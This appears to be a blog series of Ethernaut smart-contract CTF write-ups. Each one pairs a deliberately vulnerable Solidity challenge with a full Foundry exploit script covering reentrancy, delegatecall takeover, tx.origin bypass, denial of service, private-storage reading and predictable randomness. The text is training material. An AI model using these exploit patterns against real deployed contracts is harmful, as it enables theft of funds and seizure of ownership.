Summing up, we have to call everything inside the constructor to bypass it.

Now the third gate was the most challenging. Below is a compact, corrected, and prettier derivation using XOR properties.

XOR math (prettified)

Start from the relation used in the exploit:

$$ x \oplus \text{key} = \text{max} $$

XOR both sides with (x). Using associativity/commutativity of XOR:

$$ x \oplus (x \oplus \text{key}) = x \oplus \text{max} $$

The left-hand side simplifies because (x \oplus x = 0) and (0 \oplus \text{key} = \text{key}). So:

$$ \text{key} = x \oplus \text{max}. $$

Equivalently (XOR is symmetric):

$$ x \oplus \text{max} = \text{key}. $$

You can also solve for (x) directly by XOR-ing the original equation with key:

$$ x = \text{max} \oplus \text{key}. $$

Short step-by-step (text)

Given: x ⊕ key = max.
XOR both sides with x: (x ⊕ key) ⊕ x = max ⊕ x.
Since (x ⊕ key) ⊕ x = key (because x ⊕ x = 0), we get key = max ⊕ x.
Rearranged: x ⊕ max = key.
And solving for x: x = max ⊕ key.

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/GatekeeperTwo.sol";

contract Attack {
    GatekeeperTwo public gatekeeperTwoInstance;

    constructor(GatekeeperTwo _gatekeeperTwoInstance) {
        gatekeeperTwoInstance = _gatekeeperTwoInstance;
        bytes8 x = bytes8(keccak256(abi.encodePacked(address(this))));
        bytes8 key;
        // x ^ key = max
        
        // Using the property of XOR operation:
        // x ^ x ^ key = max

        // x ^ x ^ key => results in key, x will cancel the other x

        // Since x ^ key = max, we can substitute in the operation above
        // x ^ max = max

        
        key = x ^ bytes8(type(uint64).max);
        
        require(gatekeeperTwoInstance.enter(key) == true, "Failed to complete the challenge!");
    }
}

contract GatekeeperTwoSolution is Script {
    
     GatekeeperTwo public gatekeeperTwoInstance = GatekeeperTwo(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        Attack evil = new Attack(gatekeeperTwoInstance);
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Run with Foundry (example):

forge script script/GatekeeperTwoSolution.s.sol --rpc-url $SEPOLIA_URL --tc GatekeeperTwoSolution --broadcast

GateKeeper One - The Ethernaut

Sun, 21 Sep 2025 00:00:00 GMT

Challenge Overview

Gatekeeper One is a three-gate challenge that prevents direct entry by ordinary externally-owned accounts.
The goal is to become the contract's entrant by calling enter(bytes8 _gateKey) while satisfying three intentional checks (the "gates"):

gateOne: You must call through a contract (so msg.sender != tx.origin).
gateTwo: Call must arrive with a very specific remaining-gas condition (gasleft() % 8191 == 0).
gateThree: A bit-level constraint on the bytes8 _gateKey related to tx.origin.

This writeup shows how to craft the gateKey, why each gate exists, and how to brute-force the gas to pass gateTwo.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Exploit Explanation

We need to satisfy all three gates in a single enter() call.

Gate One: `require(msg.sender != tx.origin);`

This forces the caller to be a contract, not an EOA. You must deploy an attacker contract and have that contract call enter(...). The contract's msg.sender will then be the attacker contract, while tx.origin remains your EOA.

Gate Two: `require(gasleft() % 8191 == 0);`

This requires that, when the enter() function executes the gateTwo modifier, the remaining gas at that moment is a multiple of 8191. Because different EVM instructions consume gas and the call-from-contract introduces additional overhead, the practical way to satisfy this is to call enter() from the attacker contract and brute-force the supplied gas for the internal call{gas: x}() until gasleft() % 8191 == 0 inside the callee.

Important notes:

The gas value passed to .call{gas: g}() is the gas available to the callee, but the EVM also deducts some gas before the callee reaches the require. So brute-forcing an offset across a range of nearby gas values (for example base + i for i in 0..8190) is a practical approach.
The required base offset depends on compiler version / opcode layout. A small search window of ~8191 tries is sufficient in practice.

Gate Three: bit-level constraints on `_gateKey`

There are three checks; rewrite them in plain terms:

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) → The low 4 bytes (32 bits) of the key equals the low 2 bytes (16 bits). This means bits 16..31 of the low 32 bits must be zero.
uint32(uint64(_gateKey)) != uint64(_gateKey) → The low 32 bits are not equal to the full 64-bit value. So some of the high 32 bits (bits 32..63) must be non-zero.
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)) → The low 32 bits (which must equal the low 16 bits per check 1) must equal the low 16 bits of the tx.origin address.

Combining these yields a simple construction:

Let k16 = uint16(uint160(tx.origin)) — that's the low 16 bits of your EOA address.
The low 32 bits (uint32) of the key must equal k16. So bits 0..15 = k16, and bits 16..31 = 0.
The high 32 bits must be non-zero (to satisfy check 2).

A safe, minimal choice is:

key = bytes8( (uint64(1) << 32) | uint64(k16) )

This sets bit 32 (so high 32 bits ≠ 0) and sets the low 32 bits to k16 (with bits 16..31 zero). That satisfies all three parts.

Exploit Script

This attacker contract builds the key from tx.origin (the EOA that will call the attacker contract), then loops trying different gas values until the enter() call succeeds.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/GatekeeperOne.sol";

contract Attack {
    GatekeeperOne public gatekeeperOneInstance;

    constructor(GatekeeperOne _gatekeeperOneInstance) {
        gatekeeperOneInstance = _gatekeeperOneInstance;
    }

    function attack() public {
        // key = uint64(_gateKey);

        // uint32(key) == uint16(uint160(tx.origin));
        // uint32(key) != key;        
        uint16 k16 = uint16(uint160(tx.origin));

        // uint32(key) == uint16(key);
        uint64 k64 = (uint64(1) << 63) + uint64(k16);
        bytes8 key = bytes8(k64);

        // bruteforce to pass gate two
        uint256 base = 20000;
        for (uint256 i = 0; i < 8191; i++) {
            uint256 gasToTry = base + i;
            (bool ok, ) = address(gatekeeperOneInstance).call{gas: gasToTry}(
                abi.encodeWithSelector(gatekeeperOneInstance.enter.selector, key)
            );
            if (ok) {
                return;
            }
        }
    }
}


contract GatekeeperOneSolution is Script {
    
     GatekeeperOne public gatekeeperOneInstance = GatekeeperOne(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        Attack evil = new Attack(gatekeeperOneInstance);
        evil.attack();
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Run with Foundry (example):

forge script script/GatekeeperOneSolution.s.sol --rpc-url $SEPOLIA_URL --tc GatekeeperOneSolution --broadcast

After success, entrant on the GatekeeperOne instance will be set to your EOA (check with gatekeeperOneInstance.entrant()).

Elevator - The Ethernaut

Fri, 19 Sep 2025 00:00:00 GMT

Challenge Overview

This level involves an Elevator contract that uses an external Building interface to determine if a floor is the top floor. The goal is to reach the top of the building by manipulating the return values of the isLastFloor() function to bypass the contract's logic.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Exploit Explanation

The vulnerability exists because the goTo() function calls the external isLastFloor() function twice and assumes it will return consistent results:

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {  // First call
        floor = _floor;
        top = building.isLastFloor(floor);  // Second call
    }
}

Since we control the Building implementation, we can return different values for each call:

First call: Return false to pass the if condition and enter the block
Second call: Return true to set top = true

This allows us to bypass the intended logic and reach the top floor regardless of the actual floor number.

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Elevator.sol";

contract EvilBuilding {
    bool private evilSwitch;
    Elevator public elevatorInstance = Elevator(<YOUR_INSTANCE>);

    function attack() public {
        // Trigger the goTo() function with any floor number
        elevatorInstance.goTo(999);
    }

    function isLastFloor(uint256 _floor) external returns (bool) {
        // First call: return false to pass the if condition
        if(!evilSwitch){
            evilSwitch = true;
            return false;
        } else {
            // Second call: return true to set top = true
            return true;
        }
    }
}

contract ElevatorSolution is Script {
    
    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Deploy the malicious Building contract
        EvilBuilding evil = new EvilBuilding();
        
        // Execute the attack
        evil.attack();
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/ElevatorSolution.s.sol --rpc-url $SEPOLIA_URL --tc ElevatorSolution --broadcast

Privacy - The Ethernaut

Fri, 19 Sep 2025 00:00:00 GMT

Challenge Overview

This level involves a contract that attempts to protect sensitive data using private variables. However, all data stored on the blockchain is publicly accessible. The goal is to extract the key from storage and use it to unlock the contract.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }
}

Exploit Explanation

The vulnerability stems from the misconception that private variables are hidden on the blockchain. In reality, all contract storage is publicly readable. The private keyword only prevents other contracts from directly accessing these variables - it doesn't hide the data from blockchain explorers or direct storage access.

Storage Layout Analysis

Understanding how variables are packed in storage:

Slot 0: bool public locked (1 byte)
Slot 1: uint256 public ID (32 bytes - occupies full slot)
Slot 2: Packed variables:
- uint8 private flattening (1 byte)
- uint8 private denomination (1 byte)
- uint16 private awkwardness (2 bytes)
- Total: 4 bytes (remaining 28 bytes unused)
Slot 3: bytes32[3] private data[0] (32 bytes)
Slot 4: bytes32[3] private data[1] (32 bytes)
Slot 5: bytes32[3] private data[2] (32 bytes) ← This contains our key

The key to unlock the contract is stored in data[2] at storage slot 5.

Exploit Steps

Read storage slot 5 to get the bytes32 key value:
```
cast storage <YOUR_INSTANCE> 5 --rpc-url $SEPOLIA_URL
```
Returns: 0xe6dd9b7773267803f7e98c2a32f85b912afa06b9b90a477db2ae663e098bb333
Convert to bytes16 by taking the first 16 bytes (truncating from 32 bytes to 16 bytes)
Call unlock() with the converted bytes16 value

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Privacy.sol";

contract PrivacySolution is Script {
    
    Privacy public privacyInstance = Privacy(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Extract the key from storage slot 5 and convert to bytes16
        bytes32 key = 0xe6dd9b7773267803f7e98c2a32f85b912afa06b9b90a477db2ae663e098bb333;
        privacyInstance.unlock(bytes16(key));
        
        // Verify the contract is unlocked
        console.log("Contract locked status:", privacyInstance.locked());
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/PrivacySolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

King - The Ethernaut

Fri, 19 Sep 2025 00:00:00 GMT

Challenge Overview

This level presents a simple ponzi-style game where users can become the "king" by sending more Ether than the current prize. The previous king receives the new payment, and the sender becomes the new king. The challenge is to break the game such that when the level attempts to reclaim kingship, it cannot do so.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

Exploit Explanation

The vulnerability lies in the sequence of operations in the receive() function:

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);  // This can fail
    king = msg.sender;
    prize = msg.value;
}

The function:

Checks if the sent value is sufficient
Transfers the funds to the current king
Then updates the king and prize variables

The exploit involves creating a contract that becomes king but cannot receive Ether. When someone else tries to become king:

They send Ether to the King contract
The King contract tries to send the funds to our malicious contract (the current king)
The transfer fails because our contract cannot receive Ether
The entire transaction reverts, preventing the kingship change

This creates a permanent denial-of-service condition where no one can become the new king.

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/King.sol";

contract EvilKing {
    // Constructor becomes king by sending exactly the current prize amount
    constructor(King _kingInstance) payable {
        // Call the King contract with the exact prize amount
        // This will make this contract the new king
        (bool success, ) = address(_kingInstance).call{value: _kingInstance.prize()}("");
        require(success, "Failed to claim kingship");
    }
    
    // NO receive() or fallback() function - this contract cannot receive Ether!
}

contract KingSolution is Script {
    King public kingInstance = King(payable(<YOUR_INSTANCE>));

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Check current king and prize before attack
        console.log("Current king:", kingInstance._king());
        console.log("Current prize:", kingInstance.prize());
        
        // Deploy EvilKing contract with exactly the current prize amount
        // This will make EvilKing the new king
        new EvilKing{value: kingInstance.prize()}(kingInstance);
        
        // Verify we are now the king
        console.log("New king:", kingInstance._king());
        console.log("My contract address:", address(this));
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/KingSolution.s.sol --rpc-url $SEPOLIA_URL --tc KingSolution --broadcast

Force - The Ethernaut

Thu, 18 Sep 2025 00:00:00 GMT

Challenge Overview

This level presents a contract with no payable functions, making it seemingly impossible to send Ether to it through normal means. The goal is to make the contract's balance greater than zero by forcing Ether into it using an unconventional method.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

The contract contains no functions whatsoever - not even a fallback or receive function. This means:

No direct Ether transfers can be made to the contract
No function calls can be made to the contract
The contract cannot receive Ether through normal transactions

Exploit Explanation

The solution leverages a low-level Ethereum feature: the selfdestruct operation. When a contract self-destructs, it can specify a recipient address to receive any remaining Ether in its balance. Crucially, this transfer cannot be refused by the recipient contract - it happens at the EVM level, bypassing any Solidity-level checks.

The exploit involves:

Creating an attacker contract with a payable function to receive Ether
Funding the attacker contract with a small amount of Ether
Calling selfdestruct(target) on the attacker contract, forcing all its Ether to the target contract

This works because:

selfdestruct is an EVM opcode that forcibly sends Ether
The recipient contract has no ability to reject this transfer
It bypasses the need for payable functions or fallback/receive functions

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Force.sol";

contract Attacker {
    // Allow this contract to receive Ether
    receive() external payable {}

    function attack(address payable _target) public {
        // Self-destruct and force all Ether to target
        selfdestruct(_target);
    }
}

contract ForceSolution is Script {
    Force public forceInstance = Force(payable(<YOUR_INSTANCE>));

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Check initial balance of target contract
        uint256 initialBalance = address(forceInstance).balance;
        console.log("Initial target balance:", initialBalance, "wei");
        
        // Deploy attacker contract
        Attacker attacker = new Attacker();
        
        // Send a small amount of Ether to the attacker contract
        (bool success, ) = address(attacker).call{value: 0.0001 ether}("");
        require(success, "Failed to fund attacker contract");
        
        // Execute the attack - force Ether into target contract
        attacker.attack(payable(address(forceInstance)));
        
        // Verify the attack was successful
        uint256 finalBalance = address(forceInstance).balance;
        console.log("Final target balance:", finalBalance, "wei");
        console.log("Attack successful:", finalBalance > initialBalance);
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/ForceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ForceSolution --broadcast

Re-entrancy - The Ethernaut

Thu, 18 Sep 2025 00:00:00 GMT

Challenge Overview

This level involves a contract vulnerable to a classic reentrancy attack. The goal is to drain all funds from the contract by exploiting the unsafe order of operations in the withdraw() function, which sends Ether before updating the user's balance.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Exploit Explanation

The critical vulnerability is in the withdraw() function:

function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        (bool result,) = msg.sender.call{value: _amount}("");  // Ether sent first
        if (result) {
            _amount;
        }
        balances[msg.sender] -= _amount;  // Balance updated later
    }
}

The unsafe order of operations allows for a reentrancy attack:

The contract sends Ether to the caller before updating their balance
A malicious contract can implement a receive() function that calls withdraw() again
Since the balance hasn't been updated yet, the second withdrawal also succeeds
This recursive pattern continues until all contract funds are drained

The attack sequence:

Donate 0.001 ether to create a balance in the malicious contract
Call withdraw(0.001 ether) to trigger the attack
The malicious contract's receive() function recursively calls withdraw() again
Repeat until the target contract is drained

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Reentrance.sol";

contract Evil {
    Reentrance public reentranceInstance = Reentrance(payable(<YOUR_INSTANCE>));

    constructor() public payable {
        reentranceInstance.donate{value: 0.001 ether}(address(this));
    }

    function attack() public payable {
        reentranceInstance.withdraw(0.001 ether);
        address(msg.sender).call{value: 0.002 ether}("");
    }

    receive() external payable {
        reentranceInstance.withdraw(0.001 ether);
    }
}

contract ReentranceSolution is Script {
    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        Evil evil = new Evil{value: 0.001 ether}();
        evil.attack{value: 0.001 ether}();
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/ReentranceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ReentranceSolution --broadcast

Solving SafeMath Import Issue

Similar to previous challenges using Solidity <0.8.0, we need to resolve the SafeMath import issue:

1. Configure `foundry.toml`

solc_version = "0.6.12"
remappings = [
    "forge-std/=lib/forge-std/src/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"
]

2. Install the Correct OpenZeppelin Release

forge install openzeppelin/openzeppelin-contracts@v3.4.2

3. Update the Import Path

Modify the import statement in the challenge contract:

- import "openzeppelin-contracts-06/math/SafeMath.sol";
+ import "@openzeppelin/contracts/math/SafeMath.sol";

This ensures the compiler correctly resolves the SafeMath dependency for pragma solidity ^0.6.12.

Vault - The Ethernaut

Thu, 18 Sep 2025 00:00:00 GMT

Challenge Overview

This level involves a vault protected by a password stored as a private variable. The goal is to unlock the vault by discovering the password and calling the unlock() function. While the password is marked as private, all data stored on the blockchain is publicly accessible, allowing us to read it directly from storage.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Exploit Explanation

The critical misunderstanding here is about the meaning of private in Solidity. While private prevents other contracts from directly accessing the variable, it does not make the data private on the blockchain. All contract storage is publicly readable on-chain.

The storage layout is as follows:

Slot 0: locked (boolean, 1 byte)
Slot 1: password (bytes32, 32 bytes)

We can directly read the password from storage slot 1 using blockchain exploration tools.

Steps to extract the password:

Read the storage slot: Use cast storage to read the value at storage slot 1
Decode the bytes32: Convert the hex value to a human-readable string

# Read the password from storage slot 1
cast storage <YOUR_INSTANCE> 1 --rpc-url $SEPOLIA_URL

# Decode the bytes32 value to a string
cast parse-bytes32-string 0x412076657279207374726f6e67207365637265742070617373776f7264203a29

This reveals the password: A very strong secret password :)

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Vault.sol";

contract VaultSolution is Script {
    Vault public vaultInstance = Vault(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Check initial lock status
        console.log("Vault locked initially:", vaultInstance.locked());
        
        // Unlock the vault with the extracted password
        bytes32 password = "A very strong secret password :)";
        vaultInstance.unlock(password);
        
        // Verify the vault is now unlocked
        console.log("Vault locked after unlock:", vaultInstance.locked());
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/VaultSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Delegation - The Ethernaut

Wed, 17 Sep 2025 00:00:00 GMT

Challenge Overview

This level involves two contracts: Delegate and Delegation. The goal is to claim ownership of the Delegation contract by exploiting its use of delegatecall in the fallback function. The vulnerability allows an attacker to execute the pwn() function from the Delegate contract within the storage context of the Delegation contract, thereby changing its owner.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Exploit Explanation

The critical vulnerability lies in the fallback() function of the Delegation contract:

fallback() external {
    (bool result, ) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

delegatecall is a low-level function that executes code from the target contract (Delegate) but uses the storage context of the calling contract (Delegation). This means:

When we call the pwn() function via delegatecall, it executes in Delegation's storage context
Both contracts have their owner variable at the same storage slot (slot 0)
The pwn() function sets owner = msg.sender, which modifies Delegation's owner, not Delegate's owner

The exploit involves:

Sending a transaction to the Delegation contract with calldata that matches the pwn() function signature
This triggers the fallback function, which performs a delegatecall to the Delegate contract
The pwn() function executes within Delegation's context, changing its owner to our address

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Delegation.sol";

contract DelegationSolution is Script {
    Delegation public delegationInstance = Delegation(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Check current owner before attack
        console.log("Owner before attack:", delegationInstance.owner());
        
        // Trigger the fallback function with pwn() function signature
        // This will execute delegatecall to the Delegate contract's pwn() function
        address(delegationInstance).call(
            abi.encodeWithSignature("pwn()")
        );
        
        // Verify the owner has been changed
        console.log("Owner after attack:", delegationInstance.owner());
        console.log("My address:", vm.envAddress("MY_ADDRESS"));
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/DelegationSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Coin Flip - The Ethernaut

Wed, 17 Sep 2025 00:00:00 GMT

Challenge Overview

This level presents a coin flipping game where you need to correctly guess the outcome of a coin flip 10 times in a row to win.

The challenge appears to rely on randomness from blockchain data, but this randomness is actually predictable because it uses publicly available block information. By calculating the same value off-chain, we can guarantee correct guesses every time.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

Exploit Explanation

The vulnerability lies in the use of deterministic blockchain data for randomness:

uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1;

blockhash(block.number - 1) is publicly available information that anyone can access
The calculation blockValue / FACTOR will always produce the same result for the same block
Since we can perform this identical calculation ourselves, we can predict the outcome before calling the flip() function

The exploit involves:

Creating an attacker contract that calculates the flip outcome using the same logic
Calling the vulnerable contract's flip() function with the pre-calculated result
Repeating this process 10 times to achieve the required winning streak

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/CoinFlip.sol";

contract Exploit {
    uint256 constant FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip public coinFlipInstance;

    constructor(CoinFlip _coinFlipInstance) {
        coinFlipInstance = _coinFlipInstance;
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1;
        coinFlipInstance.flip(side);
    }
}

contract CoinFlipSolution is Script {
    CoinFlip public coinFlipInstance = CoinFlip(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Deploy exploit contract
        Exploit exploit = new Exploit(coinFlipInstance);
        
        // Execute the attack
        exploit.attack();
        
        // Verify results
        console.log("Number of wins:", coinFlipInstance.consecutiveWins());
        
        vm.stopBroadcast();
    }
}

Note: You'll need to run this script 10 times (once for each required win), waiting for a new block between each execution since the contract prevents multiple calls in the same block.

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/CoinFlipSolution.s.sol --rpc-url $SEPOLIA_URL --tc CoinFlipSolution --broadcast

Repeat this command 10 times, ensuring each transaction is mined in a different block to bypass the lastHash check and build your winning streak.

Telephone - The Ethernaut

Wed, 17 Sep 2025 00:00:00 GMT

Challenge Overview

In this level, the goal is to claim ownership of the Telephone contract. The contract appears to have a safeguard that prevents direct ownership changes, but it uses a flawed authentication check that can be bypassed by calling through an intermediary contract.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

Exploit Explanation

The vulnerability lies in the difference between tx.origin and msg.sender:

if (tx.origin != msg.sender) {
    owner = _owner;
}

tx.origin refers to the original externally owned account (EOA) that initiated the transaction
msg.sender refers to the immediate caller of the function

When you call the contract directly from your wallet, both tx.origin and msg.sender are your address, so the condition fails.

However, if you call through an intermediary contract:

tx.origin remains your EOA address (the transaction originator)
msg.sender becomes the address of your intermediary contract

This creates the required inequality (tx.origin != msg.sender) that allows the ownership change.

The exploit involves:

Deploying an attacker contract
Calling the attacker contract's exploit function
The attacker contract calls changeOwner() on the Telephone contract, creating the necessary tx.origin != msg.sender condition

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Telephone.sol";

contract Attack {
    Telephone public telephoneInstance;
    address evilOwner;

    constructor(Telephone _telephoneInstance, address _evilOwner) {
        telephoneInstance = _telephoneInstance;
        evilOwner = _evilOwner;
    }

    function exploit() public {
        telephoneInstance.changeOwner(evilOwner);
    }
}

contract TelephoneSolution is Script {
    Telephone public telephoneInstance = Telephone(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Deploy attacker contract
        Attack attacker = new Attack(
            telephoneInstance,
            vm.envAddress("MY_ADDRESS")
        );
        
        // Execute the exploit
        attacker.exploit();
        
        // Verify the results
        console.log("The owner of the contract is:", telephoneInstance.owner());
        console.log("My address is:", vm.envAddress("MY_ADDRESS"));
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/TelephoneSolution.s.sol --rpc-url $SEPOLIA_URL --tc TelephoneSolution --broadcast

Token - The Ethernaut

Wed, 17 Sep 2025 00:00:00 GMT

Challenge Overview

In this level, you start with 20 tokens and need to acquire additional tokens to complete the challenge. The contract contains a critical vulnerability due to arithmetic underflow in Solidity version 0.6.0, which allows an attacker to manipulate their token balance by attempting to transfer more tokens than they possess.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

Exploit Explanation

The vulnerability exists in the transfer() function:

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

In Solidity versions prior to 0.8.0, arithmetic operations do not automatically check for underflow/overflow. When you attempt to subtract a larger value from a smaller unsigned integer, the result wraps around to the maximum value of the type (2²⁵⁶ - 1) due to underflow.

The exploit works as follows:

You start with 20 tokens
You attempt to transfer 21 tokens (more than you have)
